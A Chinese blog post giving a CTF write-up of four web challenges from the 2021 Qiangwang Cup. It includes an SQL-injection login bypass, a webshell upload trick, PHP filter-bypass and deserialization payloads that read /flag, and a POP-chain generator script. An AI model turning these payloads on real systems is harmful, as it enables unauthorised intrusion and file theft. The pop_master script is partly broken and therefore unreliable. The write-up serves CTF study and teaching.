[网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master

强网杯作为国内最好的CTF比赛之一,搞安全的博友和初学者都可以去尝试下。首先,让我们观摩下这些大神队伍,包括0x300R、eee、0ops、AAA、NeSE、Nu1L等,真的值得我们去学习。其次,非常感谢强网杯的主办方,这么好的比赛离不开许多师傅们的辛苦,我们应该感恩这么高质量比赛的幕后工作者。最后,作为一枚安全菜鸡,不,比菜鸡还菜,就让我简单复现下本次比赛的Web题目。不喜勿喷,欢迎指正~

在这里插入图片描述

由于这次强网杯正值端午节,自己回家陪小孩和女神了,不回去也做不出来o(╥﹏╥)o,因此仅仅大致阅览了下Web题目。但整体而言,比赛题目的水准仍然非常高,尤其是RE和PWN,包括Web,所以还是有很多知识点值得我们学习的。最后,非常感谢参考文献的大佬们,尤其是Nu1L战队(推荐VX关注他们),也感谢许多参加比赛的伙伴和博友们。如果您是一名安全初学者,不妨多参加比赛,每一次CTF比赛都能让我们学到很多东西,即使是赛后的WP,也能成长不少。同时有个遗憾,比赛完后题目不能打开复现,将就看吧。

作者在外读博求学,接下里的时间都会放到论文和实验上,因此CSDN已停更技术文章,但这篇文章还是总结出来,只望对初学者有帮助。此外,我为自己定了一个新目标,33岁之后(博士毕业),正式进军CTF和AI比赛圈,那时候会刷大量的CTF题及参加各种实战比赛,寓教于乐,也希望能带着我贵州的学生站在CTF的舞台上或冲榜天池,到了那时,希望我这位菜鸟大叔还能保持激情。哈哈,加油,且行且珍惜~

比赛信息

  • 比赛全称:第五届强网杯全国网络安全挑战赛
  • 比赛地址:https://ctf.ichunqiu.com/2021qwb
  • 开始时间:2021-06-12 09:00:00
  • 结束时间:2020-06-13 21:00:00

在这里插入图片描述

在这里插入图片描述

文章目录

  • 一.EasyWeb
    • 1.题目描述
    • 2.解题思路
  • 二.[强网先锋]寻宝
    • 1.题目描述
    • 2.解题思路
  • 三.[强网先锋]赌徒
    • 1.题目描述
    • 2.解题思路
  • 四.pop_master
    • 1.题目描述
    • 2.解题思路
    • 3.官方解题
  • 五.总结

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该安全系列原文github已开源,如果喜欢也可以支持作者,赚点奶粉钱,哈哈。


个人而言,感觉自己能做出来的主要是这四道题目,因此先结合大佬们的WP复述。下面一些方法是从我这个菜鸟的角度介绍,各位大神见笑,可以帮忙批评和指正,哈哈~

一.EasyWeb

1.题目描述

题目描述如下:

  • 共132支队伍攻克,最后分值67pt

在这里插入图片描述

该网站打开如下图所示:

在这里插入图片描述

2.解题思路

如果直接访问文件会提示错误。

在这里插入图片描述

第一步,从github下载dirsearch工具(Python脚本),这是一个目录扫描工具,目的是扫描网站的敏感文件和目录从而找到突破口。

  • https://github.com/maurosoria/dirsearch

  • 大佬们用啥扫描软件呢?Kali dirb吗?

在这里插入图片描述

通过dirsearch扫描目录,自己在目录输入栏输入CMD快速进入。我们发现了敏感文件目录 files

  • -u:指定网址
  • -e:指定网站语言
  • -w:指定字典
  • -r:递归目录(跑出目录后,继续跑目录下面的目录)
  • -random-agents:使用随机UA

在这里插入图片描述

第二步,打开files目录发现每个文件对应的路径。

  • http://47.104.137.239/files/
[{"id":1,"path":"c09358adff2ebfff2ef9b4fbacc4ac0b","filename":"hint.txt","date":"5/31/2021, 9:10:29 PM"},
{"id":2,"path":"1c60db40f1f992ff1b8243c1e24dd149","filename":"exp.py","date":"5/31/2021, 9:11:27 PM"},
{"id":3,"path":"da2574de5ac23b656882772a625ba310","filename":"www.zip","date":"5/31/2021, 9:12:44 PM"}]

在这里插入图片描述

我蠢蠢的拼接路径,还是无法打开。大概猜测后续需要进一步获取这些敏感文件,但如何获取可能需要提权或其他渗透手段。

在这里插入图片描述

下面开始参考Nu1L大神们的WP。哎,自己还是太菜了,哈哈 ^O(∩_∩)O

第三步,我们尝试打开hint目录,可以看到提示去服务器获取文件的信息。

  • http://47.104.137.239/hint
{"hint":"# hint ^_^\n\tSo~ How to get files in this server?
\n\tfiles/????????????????????????????????"}

第四步,他们扫描发现了后台登录页面,网址如下:

  • http://47.104.137.239:36842/account/login
  • 怎么扫描这个IP地址和目录的呢?
Try to scan 35000-40000 ^_^.
All tables are empty except for the table where the username and password
are located
Table: employ

第五步,发现后台登录存在注入,直接进入后台,使用注入语句如下。

  • 只恨网站关闭不能复现,泪奔 ~~o(>_<)o ~~
' union select 1,2,3,4,5,6,7-- a

第六步,扫描发现存在 file 路由文件上传,经过测试发现文件采用无字符webshell,文件名为 1.p<h<p,即可上传shell。

第七步, jboss 部署 war 包拿 flag。

在这里插入图片描述

都是什么神仙操作,有时候看着只差一步,但差之千里,功夫还太浅。
加油吧!少年,多向这些大佬学习。


二.[强网先锋]寻宝

1.题目描述

题目描述如下:

  • 共304支队伍攻克,最后分值31pt

在这里插入图片描述

该网站打开如下图所示:

在这里插入图片描述

该题目WP参考joker-yan大佬的解题思路,在此感谢,CSDN博友的可以关注他一波。

  • https://blog.csdn.net/weixin_46245411/article/details/117898565

2.解题思路

该网站包括两个输入框,需要你输入Key1和Key2然后解密。通过信息1和信息2分别获取两段Key值。

在这里插入图片描述

第一步,分别下载线索1和线索2。

  • 线索1为source1.php,代码审计
  • 线索2为docx压缩包,需要编写脚本自动遍历。

在这里插入图片描述

在这里插入图片描述

第二步,分析source1.php源代码,通过bypass获取结果。

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

function filter($string){
        $filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
        $filter_phrase= '/'.implode('|',$filter_word).'/';
        return preg_replace($filter_phrase,'',$string);
    }

if($ppp){
    unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';

extract($_POST);

$num1 = filter($ppp['number1']);        
$num2 = filter($ppp['number2']);        
$num3 = filter($ppp['number3']);        
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);    

if(isset($num1) && is_numeric($num1)){
    die("非数字");
}

else{
  
    if($num1 > 1024){
    echo "第一层";
        if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
            echo "第二层";
            if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
                echo "第三层";
                if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
                    echo "第四层";
                    if(!isset($num5)||(strlen($num5)==0)) die("no");
                    $b=json_decode(@$num5);
                        if($y = $b === NULL){
                                if($y === true){
                                    echo "第五层";
                                    include 'KeY1lhv.php';
                                    echo $KEY1;
                                }
                        }else{
                            die("no");
                        }
                }else{
                    die("no");
                }
            }else{
                die("no");
            }
        }else{
            die("no");
        }
    }else{
        die("no111");
    }
}
非数字
?>

核心bypass代码如下:

在这里插入图片描述

第三步,尝试在本地搭建环境进行bypass五层绕过。

  • 第一层:要求非纯数字且大于1024,利用PHP的格式转换(字符串比较读取)$num1=11111a即可。

在这里插入图片描述

  • 第二层:绕过intval函数,利用科学技术法绕过长度小于5。

在这里插入图片描述

  • 第三层:substr(md5)取值为某个值,利用脚本运行md5,计算出num3为61823470。
<?php 
	for ($a=60000000;$a<70000000;$a++)
	{
		if(substr(md5($a),0,7)=='4bf21cd')	
		{
			echo $a;
		}
	}
?>

在这里插入图片描述

  • 第四层:科学计数法绕过,长度为7且为0,num4为0e00000。

在这里插入图片描述

  • 第五层:JSON格式的字符串为空,json_decode在解析非json格式的时候会自动置空NULL,所以很容易绕过,比如num5为a即可。

第四步,最终构造的Payload能绕过source1.php。

ppp[number1]=11111a&&ppp[number2]=3.0e6&ppp[number3]=61823470&
ppp[number4]=0e00000&ppp[number5]=eastmount

在这里插入图片描述

此时,我们得到Key1。

  • KEY1{e1e1d3d40573127e9ee0480caf1283d6}

第五步,注意下载该压缩包总失败,我们可以随意使用⼀个支持自动分片下载的下载工具即可,如迅雷。解压后发现是一对docx文件,编写一个Python脚本遍历搜索“KEY2”即可。

方法很多,比如LU神的代码。

在这里插入图片描述

再如Nu1L大神的代码。

import glob
import zipfile
import tqdm
from xml.etree.cElementTree import XML

WORD_NAMESPACE = '{http://schemas.openxmlformats.org/wordprocessingml/2006/main}'
PARA = WORD_NAMESPACE + 'p'
TEXT = WORD_NAMESPACE + 't'
def get_docx_text(path):
	document = zipfile.ZipFile(path)
	xml_content = document.read('word/document.xml')
	document.close()
	tree = XML(xml_content)
	
	paragraphs = []
	for paragraph in tree.getiterator(PARA):
		texts = [node.text
				for node in paragraph.getiterator(TEXT)
 				if node.text]
 		if texts:
			paragraphs.append(''.join(texts))
	return '\n\n'.join(paragraphs)
 
files = glob.glob('*/*/*.docx')
for fname in tqdm.tqdm(files):
	res = get_docx_text(fname)
	if 'key2{' in res.lower():
		print(fname, res)
  • KEY2{T5fo0Od618l91SlG6l1l42l3a3ao1nblfsS}

第六步,输入两个KEY值既可以获取最终的flag。

  • flag{798ef6da-41a9-4a14-a8a8-8b6351f3e162}

在这里插入图片描述

在这里插入图片描述


三.[强网先锋]赌徒

1.题目描述

题目描述如下:

  • 共499支队伍攻克,最后分值20pt

该网站打开如下图所示:

  • I think you need /etc/hint . Before this you need to see the source code

在这里插入图片描述

该题目未做出来真的该打,一方面自己对反序列化还是不够深入,另一方面还是自己太菜,后面做50道反序列化题目,然后写篇博客总结吧!

2.解题思路

第一步,结合题目源码提醒,利用dirsearch扫描目录,发现 www.zip 文件。

在这里插入图片描述

第二步,该压缩包解压为一个index.php源文件,核心思想是bypass反序列化然后执行hint.php得到flag。

  • unserialize会执行wakeup,需要绕过

在这里插入图片描述

index.php

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);

class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
	
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
	
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
	
    public function __get($name){
        $function = $this->a;
        return $function();
    }
	
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}
?>

第三步,构造序列化代码生成payload,这里引用Nu1L的代码。

dt-wp.php

<?php
	class Start
	{
	 	public $name;
	 	public function __construct($a){
	 		$this->name=$a;
	 	}
	}
	class Info
	{
	 	public $file;
		public function __construct($b){
			$this->file['filename']=$b;
		}
	}
	class Room
	{
		 public $filename="/flag";
		 public $a;
		 public function __construct(){
		 	$this->filename="/flag";
		 }
		 public function invoke(){
		 	$this->a=new Room();
		 }
	}
	$a=new Room();
	$a->invoke();
	$b=new Info($a);
	$c=new Start($b);
	echo serialize($c);
?>

生成的结果如下图所示,通过该构造即可获取flag。

O:5:"Start":1:{s:4:"name";O:4:"Info":1:{s:4:"file";a:1:{s:8:"filename";O:4:"Room":2:{s:8:"filename";s:5:"/flag";s:1:"a";O:4:"Room":2:{s:8:"filename";s:5:"/flag";s:1:"a";N;}}}}}

在这里插入图片描述

PS:由于太菜,还需要消化一段时间,后续作者会深入分析…

  • 从一道CTF题学习PHP反序列化漏洞 - freebuf
  • 记一道CTF反序列化 - CSDN
  • PHP反序列化漏洞总结 - CSDN

四.pop_master

1.题目描述

题目描述如下:

  • 共188支队伍攻克,最后分值49pt

在这里插入图片描述

该网站打开如下图所示:

<?php
include "class.php";
//class.php.txt
highlight_file(__FILE__);
$a = $_GET['pop'];
$b = $_GET['argv'];
$class = unserialize($a);
$class->nZepGo($b);

在这里插入图片描述

这道题目据说非常有意思,坐等官网和更多大佬的WP。看到官方bibi大神了~

在这里插入图片描述

2.解题思路

这里仅放个Nu1L大佬的WP。

from phply import phplex
from phply.phpparse import make_parser
from phply.phpast import *
import pprint
import nose

parser = make_parser()
func_name = "find your func"
con = open("./qwb/class.php").read()
lexer = phplex.lexer.clone()
lexer.filename = None
output = parser.parse(con, lexer=lexer)
functions = {}
target = functions[func_name] i = 0
# 强赋值函数直接跳过
skip_func = []
pop_chain = []
pop_chain.append(func_name) e = False
for out in output:
	class_name = out.name
	for node in out.nodes:
		if(type(node) == Method):
			functions[node.name] = out
while(e is False):
	for node in target.nodes:
		if(type(node) == Method):
			if node.name == func_name:
				for subnode in node.nodes:
					if type(subnode) == MethodCall:
						# print(subnode)
						if(subnode.name in skip_func):
							continue
						target = functions[subnode.name]
						func_name = subnode.name
						pop_chain.append(func_name)
						break
					if(type(subnode) == If):
						# print(subnode)
						if type(subnode.node) == MethodCall :
							# print(subnode.node.name)
							if( subnode.node.name in skip_func):
								continue
							target = functions[subnode.node.name]
							func_name = subnode.node.name
							pop_chain.append(func_name)
							break
						if(type(subnode) == Eval):
							e = True
for pop in pop_chain:
	print("class " + functions[pop].name + "{")
	for node in functions[pop].nodes:
		if(type(node) == ClassVariables):
			for subnode in node.nodes:
				print("public " + subnode.name + ';')
				print("public function __construct(){")
				if i+1 == len(pop_chain):
					print("")
				else:
					print("$this->" + subnode.name[1:] + "= new " + 
					functions[pop_chain[i+1]].name + "();")
				print("}")
	print("}")
	i += 1
	if i == len(pop_chain):
		break

3.官方解题

后续补充官方解题和手撸过程…


五.总结

写到这里,这篇文章就介绍结束了,希望对您有所帮助。希望三年博士毕业后,我不再是WP分享者,而能够通过参赛和学习做出更多的题目,也期待带学生一起比赛的一天,加油!下面简单总结每题知识点。

  • 第一题 EasyWeb
    敏感目录扫描+注入漏洞+文件上传+ jboss部署war
    -第二题 [强网先锋]寻宝
    PHP代码审计+Python遍历doc文件+两个KEY解密
  • 第三题 [强网先锋]赌徒
    敏感目录扫描+源文件代码审计+反序列化漏洞+bypass构造
  • 第四题 pop_master
    坐等官方解密

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,由于在外读博,目前暂停技术更新,但这篇确实应该总结下,希望您能与我一起操作和进步。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔。同时再次感谢参考文献中的安全大佬们的文章分享,尤其Nu1L战队,深知自己很菜,得努力前行。

在这里插入图片描述

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

  • 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
  • 网络安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study

(By:Eastmount 2021-06-15 夜于武汉 http://blog.csdn.net/eastmount/ )


自学篇(链接直接跳转到正文):

  • [网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
  • [网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
  • [网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
  • [网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
  • [网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
  • [网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
  • [网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
  • [网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
  • [网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
  • [网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
  • [网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
  • [网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
  • [网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
  • [网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
  • [网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
  • [网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
  • [网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
  • [网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
  • [网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
  • [网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
  • [网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
  • [网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
  • [网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
  • [网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
  • [网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
  • [网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
  • [网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
  • [网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
  • [网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
  • [网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
  • [网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
  • [网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
  • [网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
  • [网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
  • [网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
  • [网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
  • [网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
  • [网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
  • [网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
  • [网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
  • [网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
  • [网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
  • [网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
  • [网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
  • [网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
  • [网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
  • [网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
  • [网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及常用DOS命令
  • [网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
  • [网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
  • [网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
  • [网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
  • [网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
  • [网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
  • [网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
  • [网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
  • [网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
  • [网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
  • [网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
  • [网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
  • [网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
  • [网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
  • [网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
  • [网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
  • [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
  • [网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
  • [网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
  • [网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析
  • [网络安全自学篇] 六十九.宏病毒之入门基础、防御措施、自发邮件及APT28样本分析
  • [网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向
  • [网络安全自学篇] 七十一.深信服分享之外部威胁防护和勒索病毒对抗
  • [网络安全自学篇] 七十二.逆向分析之OllyDbg动态调试工具(一)基础入门及TraceMe案例分析
  • [网络安全自学篇] 七十三.WannaCry勒索病毒复现及分析(四)蠕虫传播机制全网源码详细解读
  • [网络安全自学篇] 七十四.APT攻击检测溯源与常见APT组织的攻击案例
  • [网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)
  • [网络安全自学篇] 七十六.逆向分析之OllyDbg动态调试工具(二)INT3断点、反调试、硬件断点与内存断点
  • [网络安全自学篇] 七十七.恶意代码与APT攻击中的武器(强推Seak老师)
  • [网络安全自学篇] 七十八.XSS跨站脚本攻击案例分享及总结(二)
  • [网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解
  • [网络安全自学篇] 八十.WHUCTF之WEB类解题思路WP(代码审计、文件包含、过滤绕过、SQL注入)
  • [网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP(文件上传漏洞、冰蝎蚁剑、反序列化phar)
  • [网络安全自学篇] 八十二.WHUCTF之隐写和逆向类解题思路WP(文字解密、图片解密、佛语解码、冰蝎流量分析、逆向分析)
  • [网络安全自学篇] 八十三.WHUCTF之CSS注入、越权、csrf-token窃取及XSS总结
  • [网络安全自学篇] 八十四.《Windows hk编程技术详解》之VS环境配置、基础知识及DLL延迟加载详解
  • [网络安全自学篇] 八十五.《Windows hk编程技术详解》之注入技术详解(全局钩子、远线程钩子、突破Session 0注入、APC注入)
  • [网络安全自学篇] 八十六.威胁情报分析之Python抓取FreeBuf网站APT文章(上)
  • [网络安全自学篇] 八十七.恶意代码检测技术详解及总结
  • [网络安全自学篇] 八十八.基于机器学习的恶意代码检测技术详解
  • [网络安全自学篇] 八十九.PE文件解析之通过Python获取时间戳判断软件来源地区
  • [网络安全自学篇] 九十.远控木马详解及APT攻击中的远控
  • [网络安全自学篇] 九十一.阿里云搭建LNMP环境及实现PHP自定义网站IP访问 (1)
  • [网络安全自学篇] 九十二.《Windows hk编程技术详解》之病毒启动技术创建进程API、突破SESSION0隔离、内存加载详解(3)
  • [网络安全自学篇] 九十三.《Windows hk编程技术详解》之木马开机自启动技术(注册表、计划任务、系统服务)
  • [网络安全自学篇] 九十四.《Windows hk编程技术详解》之提权技术(令牌权限提升和Bypass UAC)
  • [网络安全自学篇] 九十五.利用XAMPP任意命令执行漏洞提升权限(CVE-2020-11107)

提高篇:

  • [网络安全提高班] 一〇一.网络空间安全普及和医疗数据安全防护总结
  • [网络安全提高篇] 一〇二.Metasploit技术之基础用法万字详解及MS17-010漏洞复现
  • [网络安全提高篇] 一〇三.Metasploit后渗透技术之信息收集、权限提权、移植漏洞模块和后门
  • [网络安全提高篇] 一〇四.网络渗透靶场Oracle+phpStudy本地搭建万字详解(SQL注入、XSS攻击、文件上传漏洞)
  • [网络安全提高篇] 一〇五.SQL注入之揭秘Oracle数据库注入漏洞和致命问题(联合Cream老师)
  • [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解
  • [网络安全提高篇] 一〇七.安全威胁框架理解及勒索病毒取证溯源分析(蓝队)
  • [网络安全提高篇] 一〇八.Powershell和PowerSploit脚本攻击详解 (1)
  • [网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)

热门文章

暂无图片
编程学习 ·

exe4j详细使用教程(附下载安装链接)

一、exe4j介绍 ​ exe4j是一个帮助你集成Java应用程序到Windows操作环境的java可执行文件生成工具&#xff0c;无论这些应用是用于服务器&#xff0c;还是图形用户界面&#xff08;GUI&#xff09;或命令行的应用程序。如果你想在任务管理器中及Windows XP分组的用户友好任务栏…
暂无图片
编程学习 ·

AUTOSAR从入门到精通100讲(126)-浅谈车载充电系统通信方案

01 引言 本文深入研究车载充电系统策略,设计出一套基于电动汽车电池管理系统与车载充电机的CAN通信协议,可供电动汽车设计人员参考借鉴。 02 电动汽车充电系统通讯网络 电动汽车整车控制系统中采用的是CAN总线通信方式,由一个整车内部高速CAN网络、内部低速CAN网络和一个充电…
暂无图片
编程学习 ·

CMake(九):生成器表达式

当运行CMake时&#xff0c;开发人员倾向于认为它是一个简单的步骤&#xff0c;需要读取项目的CMakeLists.txt文件&#xff0c;并生成相关的特定于生成器的项目文件集(例如Visual Studio解决方案和项目文件&#xff0c;Xcode项目&#xff0c;Unix Makefiles或Ninja输入文件)。然…
暂无图片
编程学习 ·

47.第十章 网络协议和管理配置 -- 网络配置(八)

4.3.3 route 命令 路由表管理命令 路由表主要构成: Destination: 目标网络ID,表示可以到达的目标网络ID,0.0.0.0/0 表示所有未知网络,又称为默认路由,优先级最低Genmask:目标网络对应的netmaskIface: 到达对应网络,应该从当前主机哪个网卡发送出来Gateway: 到达非直连的网络,…
暂无图片
编程学习 ·

元宇宙技术基础

请看图&#xff1a; 1、通过AR、VR等交互技术提升游戏的沉浸感 回顾游戏的发展历程&#xff0c;沉浸感的提升一直是技术突破的主要方向。从《愤怒的小鸟》到CSGO,游戏建模方式从2D到3D的提升使游戏中的物体呈现立体感。玩家在游戏中可以只有切换视角&#xff0c;进而提升沉浸…
暂无图片
编程学习 ·

flink的伪分布式搭建

一 flink的伪分布式搭建 1.1 执行架构图 1.Flink程序需要提交给 Job Client2.Job Client将作业提交给 Job Manager3.Job Manager负责协调资源分配和作业执行。 资源分配完成后&#xff0c;任务将提交给相应的 Task Manage。4.Task Manager启动一个线程以开始执行。Task Manage…
暂无图片
编程学习 ·

十进制正整数与二进制字符串的转换(C++)

Function one&#xff1a; //十进制数字转成二进制字符串 string Binary(int x) {string s "";while(x){if(x % 2 0) s 0 s;else s 1 s;x / 2;}return s; } Function two&#xff1a; //二进制字符串变为十进制数字 int Decimal(string s) {int num 0, …
暂无图片
编程学习 ·

[含lw+源码等]微信小程序校园辩论管理平台+后台管理系统[包运行成功]Java毕业设计计算机毕设

项目功能简介: 《微信小程序校园辩论管理平台后台管理系统》该项目含有源码、论文等资料、配套开发软件、软件安装教程、项目发布教程等 本系统包含微信小程序做的辩论管理前台和Java做的后台管理系统&#xff1a; 微信小程序——辩论管理前台涉及技术&#xff1a;WXML 和 WXS…
暂无图片
编程学习 ·

树莓派驱动DHT11温湿度传感器

1&#xff0c;直接使用python库 代码如下 import RPi.GPIO as GPIO import dht11 import time import datetimeGPIO.setwarnings(True) GPIO.setmode(GPIO.BCM)instance dht11.DHT11(pin14)try:while True:result instance.read()if result.is_valid():print(ok)print(&quo…
暂无图片
编程学习 ·

ELK简介

ELK简介 ELK是三个开源软件的缩写&#xff0c;Elasticsearch、Logstash、Kibana。它们都是开源软件。不过现在还新增了一个 Beats&#xff0c;它是一个轻量级的日志收集处理工具(Agent)&#xff0c;Beats 占用资源少&#xff0c;适合于在各个服务器上搜集日志后传输给 Logstas…
暂无图片
编程学习 ·

Linux 基础

通常大数据框架都部署在 Linux 服务器上&#xff0c;所以需要具备一定的 Linux 知识。Linux 书籍当中比较著名的是 《鸟哥私房菜》系列&#xff0c;这个系列很全面也很经典。但如果你希望能够快速地入门&#xff0c;这里推荐《Linux 就该这么学》&#xff0c;其网站上有免费的电…
暂无图片
编程学习 ·

Windows2022 无线网卡装不上驱动

想来 Windows2022 和 windows10/11 的驱动应该差不多通用的&#xff0c;但是死活装不上呢&#xff1f; 搜一下&#xff0c;有人提到 “默认安装时‘无线LAN服务’是关闭的&#xff0c;如果需要开启&#xff0c;只需要在“添加角色和功能”中&#xff0c;选择开启“无线LAN服务…
暂无图片
编程学习 ·

【嵌入式面试宝典】版本控制工具Git常用命令总结

目录 创建仓库 查看信息 版本回退 版本检出 远程库 Git 创建仓库 git initgit add <file> 可反复多次使用&#xff0c;添加多个文件git commit -m <message> 查看信息 git status 仓库当前的状态git diff 差异对比git log 历史记录&#xff0c;提交日志--pret…
暂无图片
编程学习 ·

用Postman生成测试报告

